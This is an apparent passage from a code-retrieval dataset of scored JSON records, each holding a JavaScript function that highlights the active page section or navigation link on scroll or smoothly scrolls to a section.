document.getElementById(`section1`).setAttribute(\"class\", \"your-active-class section\");\n activeSection = document.getElementById(`section1`).id;\n setActiveNavElements();\n } else if (!isActive && y_scroll_pos > sectionOffsets[sectionOffsets.length - 1]) {\n document.getElementById(`section${sectionOffsets.length}`).setAttribute(\"class\", \"your-active-class section\");\n activeSection = document.getElementById(`section${sectionOffsets.length}`).id;\n setActiveNavElements();\n }\n }\n });\n}", "title": "" }, { "docid": "e62081aa9c42f9721499e317ecd4d42c", "score": "0.59599006", "text": "function activatePage() {\n for (const el of document.querySelectorAll(\".nav-link\")) {\n if (el.href === window.location.href) {\n el.classList.add(\"active\");\n } else {\n el.classList.remove(\"active\");\n }\n }\n for (const el of document.querySelectorAll(\"main[data-page]\")) {\n if (el.dataset.page === (window.location.hash || \"#/dashboard\")) {\n el.classList.remove(\"hidden\");\n } else {\n el.classList.add(\"hidden\");\n }\n }\n qlik.resize();\n }", "title": "" }, { "docid": "ea1ac502ecb5d3c95be4235a88140d18", "score": "0.5940084", "text": "function changeLinkState() {\n var index = landingContainers.length;\n while (--index && window.scrollY + 50 < landingContainers[index].offsetTop) {\n }\n\n // Iterate over each section and check if they are fully in the viewport\n [...landingContainers].forEach(\n async (section) => {\n var navElem = await activeNavElement(section.children[0].innerHTML);\n if (isInViewport(section)) {\n // If so, set the active class which corresponds to our CSS selector\n section.classList.add('your-active-class');\n navElem.classList.add('selected');\n } else {\n // If not in the viewport, remove these classes\n section.classList.remove('your-active-class');\n navElem.classList.remove('selected');\n }\n }\n );\n}", "title": "" }, { "docid": "f3073e39599d70f034a5942a0009158e", "score": "0.59375983", "text": "function setCurrent(e) {\n var allSectionLinks = document.querySelectorAll(\".toc-Link\");\n e.map((i) => {\n let top = didThisIntersectionHappenAtTop(i);\n // Page just loaded ... probably and a heading is in view\n if (i.time < 1000 && i.isIntersecting) {\n document\n .querySelector(`a[href=\"#${i.target.id}\"]`)\n .classList.add(\"current\");\n } else if (i.time < 1000) {\n // In this case page just loaded and no heading in view\n return;\n } else if (!top && i.isIntersecting === false) {\n // This section deals with scrolling up the page. First we find if the heading being scrolled off the bottom is the first H tag in source order.\n let indexOfThisHeading = getHeadingIndex(i);\n if (indexOfThisHeading === 0) {\n // The first H tag just scrolled off the bottom of the viewport and it is the first H tag in source order\n allSectionLinks.forEach((link) =>\n link.classList.remove(\"current\")\n );\n } else {\n // An H tag scrolled off the bottom. It isn't the first so make the previous heading current\n allSectionLinks.forEach((link) =>\n link.classList.remove(\"current\")\n );\n document\n .querySelector(\n `a[href=\"#${allHtags[indexOfThisHeading - 1].id}\"]`\n )\n .classList.add(\"current\");\n }\n } else if (i.isIntersecting) {\n // For all other instances we want to make this one current and the others not current\n allSectionLinks.forEach((link) => link.classList.remove(\"current\"));\n document\n .querySelector(`a[href=\"#${i.target.id}\"]`)\n .classList.add(\"current\");\n }\n });\n}", "title": "" }, { "docid": "ecb08d7a519dd949cc7e1fc73035ab52", "score": "0.5934429", "text": "function findCurrentActive() {\n\n scrollTop = $(document).scrollTop();\n\n var smallestLength = $(document).height(),\n $nearest, length = 0;\n $section.each(function() {\n if ($(this).length > 0) {\n length = Math.abs($(this).offset().top - scrollTop);\n //length = $(this).offset().top - scrollTop;\n if (length < smallestLength) {\n smallestLength = length;\n $nearest = $(this);\n\n }\n }\n });\n\n this.lastestActive = this.currentActive;\n this.currentActive = $nearest.index();\n activeClass(this.currentActive);\n trackSection();\n\n }", "title": "" }, { "docid": "642055d3b315b0dcf3934a3d067d97de", "score": "0.5932684", "text": "function scrollToSec(anchor) {\r\n anchor.preventDefault() // freez the default event\r\n // console.log(anchor)\r\n for (section of navArr) {\r\n section.classList.remove(\"your-active-class\")\r\n\r\n }\r\n\r\n let mySec = document.querySelector(anchor.path[0].getAttribute(\"href\"));\r\n // console.log(anchor.path[0].getAttribute(\"href\"))\r\n\r\n mySec.setAttribute(\"class\", \"your-active-class\")\r\n mySec.scrollIntoView({\r\n behavior: \"smooth\"\r\n })\r\n\r\n\r\n}", "title": "" }, { "docid": "22c300212a4c615bb4676d4cd00cb47a", "score": "0.5931817", "text": "function active() {\n for (const section of sections) {\n const box = section.getBoundingClientRect();\n \n if (box.top <= 0 && box.bottom >= 0) {\n const id = section.getAttribute(\"id\");\n section.classList.add(\"your-active-class\");\n\n } else {\n const id = section.getAttribute(\"id\");\n section.classList.remove(\"your-active-class\");\n }\n }\n}", "title": "" }, { "docid": "6cbeb7f8d499f5b77d3d1496bb94090a", "score": "0.5924288", "text": "function activeSection(){\nsectionView.forEach((e) => {\n window.addEventListener('scroll', function(){\n if(e.getBoundingClientRect().top < vewPortHeight){\n e.className = 'your-active-class';\n }else{\n e.className = 'new-class-name';\n }\n\n })\n});}", "title": "" }, { "docid": "3144aca236b128dcb1049e56987a796a", "score": "0.5918534", "text": "function showWholesalerContent(conId)\n{\n //conId != 'home' ? $('.main_div').hide() : $('.main_div').show();\n //$('.min-height-box').css({\n // 'display':'none'\n //});\n //$('#'+conId).css({\n // 'display':'block'\n //});\n //$('nav').find('a').removeClass();\n //$('#nav_'+conId).addClass('active'); \n //var divLoc = $('#'+conId).offset();\n //$('html, body').animate({\n // scrollTop: divLoc.top\n // }, \"slow\");\n\n}", "title": "" }, { "docid": "ae08fad223ebbb2f39aa75235a1f9abe", "score": "0.5911593", "text": "function addActiveToNavOnScroll() {\n\tArray.from(sections).map(sec => {\n\t\treturn Array.from(links).map(li => {\n\t\t\tif (sec.classList.contains('active')) {\n\t\t\t\tif (li.hash === `#${sec.id}`) {\n\t\t\t\t\treturn li.parentElement.classList.add('activeLink')\n\t\t\t\t} else {\n\t\t\t\t\treturn li.parentElement.classList.remove('activeLink')\n\t\t\t\t}\n\t\t\t}\n\t\t})\n\n\t})\n}", "title": "" }, { "docid": "22fe95c8c8d3a7eeef61c0f09b767e68", "score": "0.58912086", "text": "function setActiveClass () {\n navBar[0].style.display = \"block\";\n for(let i = 0; i<sections.length; i++) {\n element = sections[i].getBoundingClientRect();\n //checking whether at top of viewport\n if (element.top >= -20 && element.bottom <= window.innerHeight) {\n sections[i].classList.add(\"your-active-class\");\n sections[i].appendChild(topbtn);\n } else {\n sections[i].classList.remove(\"your-active-class\");\n }\n } timeOut();\n}", "title": "" }, { "docid": "fcc8c187943ed0f8a1c5cbd8fa3ce6c4", "score": "0.5885559", "text": "function setActiveSection() {\n const getLinks = document.querySelectorAll(\"a\");\n mySec.forEach((element) => {\n if (userViewSection(element)) { //Check if section in user view\n if (!element.classList.contains('your-active-class')) {\n element.classList.add(\"your-active-class\");\n }\n\n getLinks.forEach((aLink) => {\n if (element.getAttribute(\"data-nav\") == aLink.textContent) {\n\n\n aLink.style.background = \"black\";\n aLink.style.color = \"orange\";\n\n\n } else {\n aLink.style.background = \"white\";\n aLink.style.color = \"black\";\n aLink.style.cssText = ':hover{}';\n\n\n }\n })\n } else { //if section is NOT in user view\n element.classList.remove(\"your-active-class\"); // remove active class\n\n }\n\n\n })\n\n}", "title": "" }, { "docid": "7b6df6f559017899478a92bdc4690627", "score": "0.58797026", "text": "function NavActive() {\n const allATags = document.querySelectorAll('a'); //all a tags\n document.addEventListener('scroll', function () {\n let index = allSections.length;\n \n while(--index && window.scrollY + 50 < allSections[index].offsetTop) {}\n allATags.forEach((a) => a.classList.remove('active'));\n allATags[index].classList.add('active');\n });\n\n}", "title": "" }, { "docid": "9aa235c7cdb953556b5ef44d16d70bc0", "score": "0.58796346", "text": "function whenScroll() {\n for (let section of sections) {\n if (isInViewport(section)) {\n removeActiveClassFromSection(); //remove 'active_section' class from the previous active section\n section.classList.add('active_section'); //add 'active_section' class to the current active section\n\n //update the corresponding navigation link\n removeActiveClassFromLink(); //remove 'active' class from the previous active section\n let correspondingLink = searchMenuByText(section.getAttribute('data-nav'));\n correspondingLink.classList.add('active'); //add 'active' class to the corresponding link\n break;\n }\n }\n}", "title": "" }, { "docid": "ef6a76b1367a8981c68289d22a976500", "score": "0.586979", "text": "function highlight() {\n for (let section of linkTo) {\n const coordinates = section.getBoundingClientRect();\n /** I tried keep 'links' in the for loop like you had it, but it didn't want to work for me that way,\n * so I just changed it to section and that worked. for some reason links would set every section to\n * active class. The numbers represent the width and height when comparing in the condition, these can\n * be negative values too, the documentation I linked in the email explains this better.\n * */\n if (coordinates.top <= 150 && coordinates.bottom >= 150) {\n // If the above condition is met then 'your-active-class' gets added to section in viewport\n section.classList.add(\"your-active-class\");\n } else if (section.id != linkTo.id && section.classList.contains('your-active-class')) {\n // If the above condition is met then 'your-active-class' gets removed from previous section it was on.\n section.classList.remove(\"your-active-class\");\n }\n }\n}", "title": "" }, { "docid": "3d38105b225b8799225e6d19f420da2c", "score": "0.58667487", "text": "function stabilize() {\n $('section:not(:hidden)').each(function(index, el) {\n var eTop = $(this).offset().top;\n var posTop = eTop - $(window).scrollTop();\n if (posTop > -$(window).height() / 2 && posTop < $(window).height() / 2) {\n $(\"html, body\").animate({\n scrollTop: $(this).offset().top\n }, 250);\n }\n });\n }", "title": "" }, { "docid": "a8f56f473bb0a686d2503648e759b72c", "score": "0.5862132", "text": "function addClass(){\n const windowScroll = window.innerHeight - 400;\n \n for(let x = 0; x < mySection.length; x++){\n if(mySection[x].getBoundingClientRect().top < windowScroll){\n removeClass();\n myLinks[x].classList.add(\"active1\");\n mySection[x].classList.add('active');\n }\n }\n}", "title": "" }, { "docid": "4d8ae9b6e23be755838794b5bf06d2e2", "score": "0.5856908", "text": "function setActiveState() {\r\n sections.forEach(section => {\r\n const box = section.getBoundingClientRect();\r\n if (box.top <= 150 && box.bottom >= 150) {\r\n section.classList.add(\"your-active-class\");\r\n } else {\r\n section.classList.remove(\"your-active-class\");\r\n }\r\n });\r\n}", "title": "" }, { "docid": "56da3ac0ee7ec9e5a425a54f5772ac68", "score": "0.585639", "text": "function setActive () {\n window.addEventListener('scroll', function () {\n let section = getActiveElement();\n \n section.classList.add('your-active-class');\n section.style.cssText = \"background-color: goldenrod\";\n\n // set other sections as inactive\n for (let item of sections) {\n if (item.id != section.id & item.classList.contains('your-active-class')) {\n item.classList.remove('your-active-class');\n item.style.cssText = null;\n };\n \n };\n\n//**--------------MODIFIED----------------\n // set corresponding header style\n const active = document.querySelector('li[data-nav=\"' + section.id + '\"]');\n active.classList.add('active__link');\n\n // remove from other headers\n const headers = document.querySelectorAll('.menu__link');\n for (let item of headers) {\n\n if (item.dataset.nav != active.dataset.nav & item.classList.contains('active__link')) {\n item.classList.remove('active__link');\n }\n };\n \n });\n}", "title": "" }, { "docid": "c0a4812925bd8373baa9495a4265cafa", "score": "0.5851717", "text": "function toggleActiveClass() {\n for (section of sections) {\n // section in viewport\n if (viewPort(section)){\n if (!section.classList.contains('your-active-class')) {\n //adding the class if not added\n section.classList.add('your-active-class');\n }\n } else { // removing the class if not in viewport\n section.classList.remove('your-active-class');\n }\n }\n}", "title": "" }, { "docid": "b9171e013a92358ae7ac39ba83dea88b", "score": "0.584931", "text": "function activateSection () {\n for (i = 1; i <= sectionNum; i++) {\n const sectionId = 'section'+i;\n const sectionStatus = document.getElementById(sectionId);\n const sectionPosition = sectionStatus.getBoundingClientRect();\n if (sectionPosition.top < 325 && sectionPosition.bottom > 325) {\n sectionStatus.classList.add(\"your-active-class\");\n } else {\n sectionStatus.classList.remove(\"your-active-class\");\n }\n }\n}", "title": "" }, { "docid": "e972a34d393837bc8a0d4a27e007e535", "score": "0.5842844", "text": "function setActiveMenu() {\r\n var i;\r\n if (windowResized) {\r\n // reset after possible window resize\r\n scrollPositions = getScrollPositions();\r\n windowResized = false;\r\n }\r\n // Get top Window edge that is just under the Menu\r\n var topEdge = $(window).scrollTop() + menuHeight;\r\n // Special case: last section, don't switch black to\r\n // previous one immediatelly (avoid menu blinking).\r\n if (currentId == lastId && isThreshold(topEdge)) {\r\n return;\r\n }\r\n // explicitly set last section (as it has small height\r\n // and can't be selected otherwise inside a big window)\r\n else if (isPageEndReached(topEdge + $(window).height())) {\r\n setNewPosition(lastId);\r\n }\r\n // Going or scrolling down\r\n else if (topEdge > currentPosBottom) {\r\n for (i = currentId; i < scrollPositions.length; i++) {\r\n // we are looking for bottom edge here\r\n if (topEdge < getPosBottom(i)) {\r\n setNewPosition(i);\r\n return;\r\n }\r\n }\r\n }\r\n // Going up\r\n else if (topEdge < currentPosTop) {\r\n for (i = currentId; i >= 0; i--) {\r\n // is Window's top edge below this section's top?\r\n if (topEdge > scrollPositions[i]) {\r\n setNewPosition(i);\r\n return;\r\n }\r\n }\r\n }\r\n }", "title": "" }, { "docid": "e49dbccac6f15076d385d6b70a78d203", "score": "0.5838587", "text": "function addActiveClass(is_inview, section) {\nif (is_inview) {\n section.classList.add(\"active-section\");\n navBar.querySelector('li a[href*=\"#'+section.getAttribute(\"id\")+'\"]').classList.add(\"active-link\");\n};\n}", "title": "" }, { "docid": "4dd46944f322e1610f637fed93a71afe", "score": "0.5838276", "text": "function onScroll() {\n \n var scroll_top = $(document).scrollTop();\n\n $(\".menu-js a\").each(function() {\n \n var hash = $(this).attr(\"href\");\n \n var target = $(hash);\n \n if ((target.position().top <= scroll_top + (target.outerHeight())/2) && (target.offset().top + target.outerHeight() > scroll_top)) \n {\n \n $(\"a.active\").removeClass(\"active\");\n \n $(this).addClass(\"active\");\n \n// window.location.hash = hash; \n \n } \n else \n {\n $(this).removeClass(\"active\");\n }\n });\n}", "title": "" }, { "docid": "348df7e73cd7b13a7c0e9e9c871b1caf", "score": "0.5820234", "text": "function initialize() {\n //Get a list of the documents sections and store section info in an \n //array of section classes\n const sections = document.querySelectorAll('section');\n\n //create a container for all the sections\n const div = document.createElement('div');\n div.id = 'sectionContainer';\n div.addEventListener('scroll', makeActive, false);\n\n let parentNode;\n for (let i = 0; i < sections.length; i++) {\n sectionInfo = new SectionInfo(sections[i].id);\n //check if the section has data\n sectionInfo.data = sections[i].dataset.nav;\n if (i === 0) {\n sectionInfo.active = true;\n\n //get the parent of the first section\n parentNode = sections[0].parentNode;\n parentNode.appendChild(div);\n }\n Sections.push(sectionInfo);\n\n div.appendChild(sections[i]);\n //parentNode.insertBefore(div,sections[i]);\n\n }\n if (Sections.length > 0) {\n buildNavigation();\n }\n\n //window.onscroll = scrolling;\n}", "title": "" }, { "docid": "6740870b1bb9fbd4747da458e6dd702e", "score": "0.5819095", "text": "function toggleActiveClassSection() {\n window.addEventListener('scroll', () => {\n forEachSectionCallback((section) => {\n let distanceFromTop = section.getBoundingClientRect().top;\n let distanceFromBottom = section.getBoundingClientRect().bottom;\n if (distanceFromTop <= 130 && distanceFromBottom >= 130) {\n section.classList.add('your-active-class');\n } else {\n section.classList.remove('your-active-class');\n }\n });\n });\n}", "title": "" }, { "docid": "16b4cb0e39a3fe266af465598321409b", "score": "0.58090043", "text": "function activatingTheActiveClass() { \r\n // this loop will make everything inside of it work the exact way for every element in the \"sectionCollection\" Array\r\n for (section of sectionCollection) {\r\n if(checkViewPort(section)) {\r\n // does it contain this class?\r\n if (!section.classList.contains('your-active-class')) {\r\n // if no, then this will add the class\r\n section.classList.add('your-active-class')\r\n }\r\n } else { // and here will remove the class when its out of the viewport\r\n section.classList.remove('your-active-class')\r\n }\r\n }\r\n}", "title": "" }, { "docid": "9c80b407296534e7b260dd9e53b6c44b", "score": "0.580639", "text": "function topFunction() {\n const topsy = document.querySelector(\"#section1\");\n topsy.scrollIntoView({ behavior: \"smooth\" });\n}", "title": "" }, { "docid": "228f65bf889612a62c44ba7e05dff607", "score": "0.5803929", "text": "function callScrollSpy() {\n setTimeout(function () {\n var getSections = document.querySelectorAll('.searchResults li');\n var sections = {};\n var getNavLinks = document.querySelector('.navigation ul li a');\n getNavLinks.classList.add('active');\n\n Array.prototype.forEach.call(getSections, function (e) {\n if (window.innerWidth >= 769) { // Get offste Top for each li\n // console.log(sections[e.id] = e.offsetTop - 100);\n sections[e.id] = e.offsetTop - 100;\n } else {\n // console.log(sections[e.id] = e.offsetTop - 30);\n sections[e.id] = e.offsetTop - 30;\n }\n });\n window.addEventListener('scroll', function () {\n var scrollPosition = getBody.scrollTop || getBodySecond.scrollTop;\n\n for (var i in sections) {\n if (sections[i] <= scrollPosition) {\n document.querySelector('.active').setAttribute('class', ' ');\n document.querySelector('.navigation a[href*=' + i + ']').setAttribute('class', 'active');\n }\n }\n\n });\n }, 1000);\n}", "title": "" }, { "docid": "1f168e5b1797b1f89a2c351a071a3e19", "score": "0.5778212", "text": "function toggleActiveState() {\n let observer = new IntersectionObserver(\n (allSections) => {\n allSections.forEach((section) => {\n link = document.querySelector(`a[data-nav='${section.target.id}']`)\n if (!section.isIntersecting) {\n section.target.classList.remove('your-active-class')\n link.classList.remove('active__link')\n } else {\n section.target.classList.add('your-active-class')\n link.classList.add('active__link')\n }\n })\n },\n\n {\n rootMargin: '-40% 0% -45% 0%',\n /* changing the rootMargin Parameters affects the activation of the active style \"top left bottom right*/\n }\n )\n //observe the section location in the screen during scroll\n document.querySelectorAll('section').forEach((sect) => {\n observer.observe(sect)\n })\n}", "title": "" }, { "docid": "708d50b47a6de363c814c4e25c574795", "score": "0.5772179", "text": "function styleLink (){\n window.addEventListener(\"scroll\",()=>{\n sections.forEach((sec)=>{\n const viewDisp = sec.getBoundingClientRect();\n if (viewDisp.top > 0 && viewDisp.top < 300){\n let activeLink = sec.getAttribute(\"data-nav\");\n const links = document.querySelectorAll(\"a\");\n links.forEach((link)=>{\n if (link.innerText == activeLink) {\n links.forEach((delLink)=>{\n delLink.classList.remove(\"active\");\n })\n link.classList.add(\"active\");\n };\n });\n };\n });\n });\n}", "title": "" }, { "docid": "1d40e20391bc218f28b81544e942785a", "score": "0.5763361", "text": "function scrollActive(){\n // add \"scroll\" event listner to the whole document\n document.addEventListener(\"scroll\",function (evt){\n evt.preventDefault();\n activeSection();\n });\n}", "title": "" }, { "docid": "2f1f808eb12217c7237e43779dcc6400", "score": "0.57530284", "text": "function initHit() {\n var nav = $('.slider-navigation .fa-chevron-circle-left');\n\n $(document).ready(function () {\n\n nav.wrap('<a class=\"goto-website\" href=\"http://www.hermes.com/index_fr.html\">');\n\n slickWrapper.slickElement.on('afterChange', function (event, slick, currentSlide) {\n\n //Debug only\n //console.log('on slide', currentSlide);\n\n if (currentSlide == 0) {\n nav.wrap('<a class=\"goto-website\" href=\"http://www.hermes.com/index_fr.html\">');\n }\n else if (currentSlide) {\n $('.goto-website').attr('href', '#');\n }\n });\n });\n }", "title": "" }, { "docid": "5f3f252b88fe2bf33a0a17889b03d0d2", "score": "0.57492083", "text": "function goToTargetSection( linkPos ) {\r\n\t\t$.smoothScroll( {\r\n\t\t\tscrollTarget: scrollTarget, \r\n\t\t\tafterScroll: function() {\r\n\t\t\t\tcontent.slick( \"slickGoTo\", linkPos );\r\n\t\t\t}\r\n\t\t} );\r\n\t}", "title": "" }, { "docid": "c75ed2583d136e59eeb49a08ffff226f", "score": "0.57370603", "text": "function toggleActiveClass(){\r\n for(section of sections){\r\n if (sectionInViewPort(section)){\r\n if (!section.classList.contains('your-active-class')){\r\n section.classList.add('your-active-class');\r\n }\r\n }else{\r\n section.classList.remove('your-active-class')\r\n }\r\n }\r\n}", "title": "" }, { "docid": "fd8bd95f4712754587d09db64a65c5c2", "score": "0.5736104", "text": "function ActivateToScroll(){\n\n console.log(\"scrolling ....\");\n\n const domElements = document.querySelectorAll('section');\n let navBarMenu = document.getElementsByClassName('menu__link');\n \n let index = 0;\n \ndomElements.forEach(section => {\n section.classList.remove('your-active-class');\n});\n\n for(let index=0;index < domElements.length;index++) {\n let rec = domElements[index].getBoundingClientRect();\n if(rec.top>=0 && rec.bottom>window.screenY){\n domElements[index].classList.add('your-active-class');\n console.log('section ' + domElements[index].id + ': '+ rec.top + ' rec.bottom ' + rec.bottom +' window y '+window.scrollY);\n navBarMenu[index].classList.add('select_Menu');\n console.log(navBarMenu[index]);\n break;\n }else{\n domElements[index].classList.remove('your-active-class');\n }\n \n }\n}", "title": "" }, { "docid": "ac4072d865fb2cb2b0e656fb7dbed356", "score": "0.5728833", "text": "function highlightMenuBySection() {\n const sections = document.querySelectorAll('section');\n let navHeight = document.getElementById('navbar').offsetHeight;\n let headerHeight = document.querySelector('header').offsetHeight;\n let currentPos = window.scrollY;\n\n sections.forEach(section => {\n let top = section.offsetTop - navHeight;\n let bottom = top + section.offsetHeight;\n let href = `#${section.getAttribute('id')}`;\n\n if (currentPos >= top && currentPos <= bottom) {\n menuItems.forEach(item => {\n let itemHref = item.getAttribute('href');\n itemHref === href\n ? item.classList.add('active')\n : item.classList.remove('active');\n });\n } else if (currentPos < headerHeight - navHeight) {\n menuItems.forEach(item => item.classList.remove('active'));\n }\n });\n }", "title": "" }, { "docid": "86bd7e1b3f7205be20e63541b6ae5620", "score": "0.5727383", "text": "function Active (){\n document.addEventListener('scroll', function () {\n for (let counter = 0; counter < allSections.length; counter++) {\n const cuurentSection = allSections[counter];\n const preSection = allSections[counter-1];\n const afterSection = allSections[counter+1];\n const currentSectionPosition = cuurentSection.getBoundingClientRect();\n if (counter==0) {\n cuurentSection.setAttribute('class','your-active-class');\n afterSection.setAttribute('class', null);\n }\n \n else if (counter < allSections.length - 1 && currentSectionPosition.top <= (innerHeight/3)) {\n cuurentSection.setAttribute('class','your-active-class');\n preSection.setAttribute('class', null);\n afterSection.setAttribute('class', null);\n }\n \n else if(counter < allSections.length && currentSectionPosition.top <= (innerHeight/3)){\n cuurentSection.setAttribute('class','your-active-class');\n preSection.setAttribute('class', null);\n }\n }\n });\n}", "title": "" }, { "docid": "752980934de77fb50e2bf25cc31a1dd7", "score": "0.57243913", "text": "function scrollToTarget(e) {\n\te.preventDefault()\n\t// loop on all sections \n\tfor (let i = 0; i < sections.length; i++) {\n\n\t\tif (sections[i].id === e.target.hash.slice(1)) {\n\t\t\t// make scroll slide effect \n\t\t\tsections[i].style.transform = `translateY(${this.offsetTop})`;\n\t\t\twindow.scrollTo({\n\t\t\t\ttop: sections[i].offsetTop,\n\t\t\t\tbehavior: 'smooth',\n\t\t\t\tleft: 0\n\t\t\t})\n\t\t\t// add activeLink class to li in navbar\n\t\t\te.target.parentElement.classList.add('activeLink');\n\t\t\t// remove activeLink class from other siblings\n\t\t\tlet childrenLinks = e.target.parentElement.parentElement.children;\n\t\t\tArray.from(childrenLinks).map(li => {\n\t\t\t\tif (li.classList.contains('activeLink') && li !== e.target.parentElement) {\n\t\t\t\t\treturn li.classList.remove('activeLink')\n\t\t\t\t}\n\t\t\t});\n\t\t\t// add active class to section when click on its link in navbar \n\t\t\tsections[i].classList.add('active');\n\t\t} else {\n\t\t\tsections[i].classList.remove('active');\n\t\t}\n\t}\n}", "title": "" }, { "docid": "a019789e5b4e2d998a21e8c78ce506b5", "score": "0.57209116", "text": "function scrollToSection(anchor) {\n var theTarget = anchor.attr(\"href\");\n var mobileVisible = $(\".mobile-menu-btn\").is(':visible') ? true : false;\n \n if(mobileVisible) { \n $('.main-navigation').toggle().toggleClass(\"active\");\n $('.custom-overlay').toggle();\n }\n\n if(theTarget == \"index\") { $('html, body').animate({ scrollTop: \"0px\" }, 500); } \n else if (theTarget == \"/index\") {\n if(anchor.hasClass(\"home\")) { window.location.href = \"/\"; }\n else { window.location.href = \"/#work\"; }\n }\n else { $('html, body').animate({ scrollTop: $(\"#\"+theTarget).offset().top }, 500);}\n }", "title": "" }, { "docid": "a6613c49208defc2cc91e710aec36e50", "score": "0.57138765", "text": "function currentSlide() {\n var hash = location.hash.substr(6);\n\n $('.section-title').hide();\n $('.nav-dot, .section-title, .slide').removeClass('active');\n\n if (hash == 0) {\n $('.insight').stop(true, true).fadeIn(800).addClass('active');\n }\n if (hash == 1) {\n $('.president').stop(true, true).fadeIn(800).addClass('active');\n }\n if (hash == 2) {\n $('.economics').stop(true, true).fadeIn(800).addClass('active');\n }\n if (hash == 3) {\n $('.education').stop(true, true).fadeIn(800).addClass('active');\n }\n if (hash == 4) {\n $('.global').stop(true, true).fadeIn(800).addClass('active');\n }\n if (hash == 5) {\n $('.health').stop(true, true).fadeIn(800).addClass('active');\n }\n if (hash == 6) {\n $('.society').stop(true, true).fadeIn(800).addClass('active');\n }\n if (hash == 7) {\n $('.gain-more').stop(true, true).fadeIn(800).addClass('active');\n }\n}", "title": "" }, { "docid": "963181c50d75273f52d16b99ddb0bde4", "score": "0.5709645", "text": "function addActiveToSectionOnScroll() {\n window.addEventListener('scroll', () => {\n // stop previous unfinished setTimeout\n clearTimeout(hideHeader);\n // display header upon scrolling\n document.querySelector('.page__header').classList.remove('hidden');\n\n const sections = document.querySelectorAll('section');\n for (const section of sections) {\n sectionY[section.id] = section.offsetTop; // get offsetTop for all sections to compare later\n }\n console.log(sectionY);\n const currentActiveSectionID = activeSection()\n const currentActiveSection = document.getElementById(currentActiveSectionID);\n for (const section of sections) {\n section.classList.remove('your-active-class');\n }\n currentActiveSection.classList.add('your-active-class');\n addActiveToNavItem(currentActiveSectionID);\n\n // hide header after 3 seconds\n hideHeader = setTimeout(() => {\n const header = document.querySelector('.page__header');\n header.classList.add('hidden');\n }, 3000);\n });\n}", "title": "" }, { "docid": "7b8a2fa082c78fdcb6c4b3dc0020e9fe", "score": "0.5703672", "text": "function scrollToSection(self) {\n // get the target href\n var href = $(self).attr('href');\n\n // get the target position\n var targetPos = $(href).offset().top - navHeight + 5;\n\n // scroll to target\n $('html, body').animate({\n scrollTop: targetPos\n }, 1000);\n}", "title": "" }, { "docid": "64b949dc8071888c9ea185bb2f592b65", "score": "0.56993794", "text": "function scrollToSection(self) {\n // get the target href\n var href = $(self).attr('href');\n\n // get the target position\n var targetPos = $(href).offset().top - navHeight + 5;\n\n // scroll to target\n $('html, body').animate({\n scrollTop: targetPos\n }, 400);\n}", "title": "" }, { "docid": "c414b95023fc49f5ec9dce931a44ec7d", "score": "0.56993514", "text": "function onePageMenu(){\n\t\t\tif( $('body').hasClass('one-page') ){\n\n\t\t\t\tvar menu = $('#menu');\n\n\n\t\t\t\t// add attr [data-hash] & [data-id] ----------\n\n\t\t\t\t$('a[href]', menu).each(function(){\n\n\t\t\t\t\tvar url = $(this).attr( 'href' );\n\t\t\t\t\tif( url && url.split('#')[1] ){\n\n\t\t\t\t\t\t// data-hash\n\t\t\t\t\t\tvar hash = '#' + url.split('#')[1];\n\t\t\t\t\t\tif( hash && $(hash).length ){\t\t\t\t// check if element with specified ID exists\n\t\t\t\t\t\t\t$(this).attr( 'data-hash', hash );\n\t\t\t\t\t\t\t$(hash).attr( 'data-id', hash );\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\t// Visual Composer\n\t\t\t\t\t\tvar vcHash = '#' + url.split('#')[1];\n\t\t\t\t\t\tvar vcClass = '.vc_row.' + url.split('#')[1];\n\t\t\t\t\t\tif( vcClass && $(vcClass).length ){\t\t\t// check if element with specified Class exists\n\t\t\t\t\t\t\t$(this).attr( 'data-hash', vcHash );\n\t\t\t\t\t\t\t$(vcClass).attr( 'data-id', vcHash );\n\t\t\t\t\t\t}\n\n\t\t\t\t\t}\n\n\t\t\t\t});\n\n\n\t\t\t\t// active ----------\n\n\t\t\t\tvar hash;\n\t\t\t\tvar activeSelector = '.menu > li.current-menu-item, .menu > li.current-menu-parent, .menu > li.current-menu-ancestor, .menu > li.current-page-ancestor, .menu > li.current_page_item, .menu > li.current_page_parent, .menu > li.current_page_ancestor';\n\n\t\t\t\tif( $( activeSelector, menu ).length ){\n\n\t\t\t\t\t// remove duplicated\n\t\t\t\t\t$( activeSelector, menu )\n\t\t\t\t\t\t.not(':first').removeClass( 'current-menu-item current-menu-parent current-menu-ancestor current-page-ancestor current_page_item current_page_parent current_page_ancestor' );\n\n\t\t\t\t\t// remove if 1st link to section & section is not visible\n\t\t\t\t\thash = $( activeSelector, menu ).find('a[data-hash]').attr( 'data-hash' );\n\n\t\t\t\t\tif( hash ){\n\t\t\t\t\t\thash = '[data-id=\"'+ hash +'\"]';\n\n\t\t\t\t\t\tif( $(hash).length && $( hash ).visible( true ) ){\n\t\t\t\t\t\t\t// do nothing\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t$( activeSelector, menu ).removeClass( 'current-menu-item current-menu-parent current-menu-ancestor current-page-ancestor current_page_item current_page_parent current_page_ancestor' )\n\t\t\t\t\t\t\t\t.closest('.menu > li').removeClass( 'current-menu-item current-menu-parent current-menu-ancestor current-page-ancestor current_page_item current_page_parent current_page_ancestor' );\n\t\t\t\t\t\t}\n\t\t\t\t\t} else {\n\t\t\t\t\t\t// do nothing\n\t\t\t\t\t}\n\n\t\t\t\t} else {\n\n\t\t\t\t\t// add to first if none is active\n\t\t\t\t\tvar first = $( '.menu > li:first-child', menu );\n\t\t\t\t\tvar firstA = first.children('a');\n\n\t\t\t\t\tif( firstA.attr( 'data-hash' ) ){\n\t\t\t\t\t\thash = firstA.attr( 'data-hash' );\n\t\t\t\t\t\thash = '[data-id=\"'+ hash +'\"]';\n\n\t\t\t\t\t\tif( $(hash).length && ( $(hash).offset().top == 0 ) ){\n\t\t\t\t\t\t\tfirst.addClass( 'current-menu-item' );\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\n\t\t\t\t}\n\n\n\t\t\t\t// click ----------\n\n\t\t\t\t$('#menu a[data-hash]').click(function(e){\n\t\t\t\t\te.preventDefault(); // only with: body.one-page\n\n\t\t\t\t\t// active\n\n\t\t\t\t\tmenu.find('li').removeClass('current-menu-item');\n\t\t\t\t\t$(this)\n\t\t\t\t\t\t.closest('li').addClass('current-menu-item')\n\t\t\t\t\t\t.closest('.menu > li').addClass('current-menu-item');\n\n\t\t\t\t\tvar hash = $(this).attr('data-hash');\n\t\t\t\t\thash = '[data-id=\"'+ hash +'\"]';\n\n\t\t\t\t\t// mobile - sticky header - close 